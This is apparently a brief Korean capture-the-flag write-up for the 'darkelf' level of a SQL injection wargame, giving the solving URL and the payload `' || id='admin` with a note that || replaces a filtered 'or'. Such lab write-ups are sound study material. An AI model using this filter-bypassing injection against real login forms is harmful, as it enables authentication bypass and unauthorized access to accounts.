# darkelf

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-3T5zUBcVAb-mvRzDs%2F-M-3TMdNjVwwoLXi-SpO%2Fimage.png?alt=media\&token=d9c77de1-e346-43aa-ae4e-045c31872c38)

[https://los.rubiya.kr/chall/darkelf\_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27%20||%20id=%27admin](https://los.rubiya.kr/chall/darkelf_c6a5ed64c4f6a7a5595c24977376136b.php?pw=%27%20||%20id=%27admin) 에 접속하면 문제가 풀린다.

pw에 `' || id='admin` 을 넣은 셈이다.

`or` 이 필터링 되기 때문에 이를 우회하기 위해 `||` 을 대신 넣어주었다.
